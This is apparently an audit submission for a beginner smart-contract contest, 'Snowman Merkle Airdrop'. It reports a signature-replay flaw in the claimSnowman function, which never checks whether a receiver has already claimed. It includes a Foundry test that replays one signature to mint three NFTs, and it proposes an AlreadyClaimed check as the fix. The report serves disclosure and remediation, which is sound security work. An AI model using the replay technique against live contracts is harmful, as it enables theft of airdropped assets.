Snowman Merkle Airdrop

First Flight #42
Beginner FriendlyFoundrySolidityNFT
100 EXP
Submission Details
Impact: high
Likelihood: high

Lack of Validation signature only claimed once on `claimSnowman` lead to Replays Attacks

Author Revealed upon completion

Root + Impact

Description

  • The attacker can claim on function claimSnowman Repeatedly with only one signature

// src/SnowmanAirdrop.sol
function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
@>> //here is validation needed
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount);
@>> s_hasClaimedSnowman[receiver] = true; //no validation ever claimed before
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}

Impact:

  • Replays Attacks on contract snowmanAirdrop


Proof of Concept

Applying this function on the last of test/TestSnowmanAirdrop.t.sol to make sure that one signature can claim a reward more than once, ran with the command forge test --match-test testReplayAttackRealistic -vvvv

function testReplayAttackRealistic() public {
vm.startPrank(alice);
snow.approve(address(airdrop), 1);
vm.stopPrank();
bytes32 aliceDigest = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(alKey, aliceDigest);
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 1);
assertEq(nft.ownerOf(0), alice);
assert(snow.balanceOf(alice) == 0);
vm.warp(block.timestamp + 604800);
vm.prank(alice);
snow.earnSnow();
assert(snow.balanceOf(alice) == 1);
vm.prank(alice);
snow.approve(address(airdrop), 1);
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 2);
assertEq(nft.ownerOf(1), alice);
vm.warp(block.timestamp + 604800);
vm.prank(alice);
snow.earnSnow();
assert(snow.balanceOf(alice) == 1);
vm.prank(alice);
snow.approve(address(airdrop), 1);
vm.prank(satoshi);
airdrop.claimSnowman(alice, AL_PROOF, v, r, s);
assertEq(nft.balanceOf(alice), 3);
assertEq(nft.ownerOf(2), alice);
}

Recommended Mitigation

Add this code to the function claimSnowman before the claim is processed

+ if (s_hasClaimedSnowman[receiver]) {
+ revert SA__AlreadyClaimed();
+ }

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.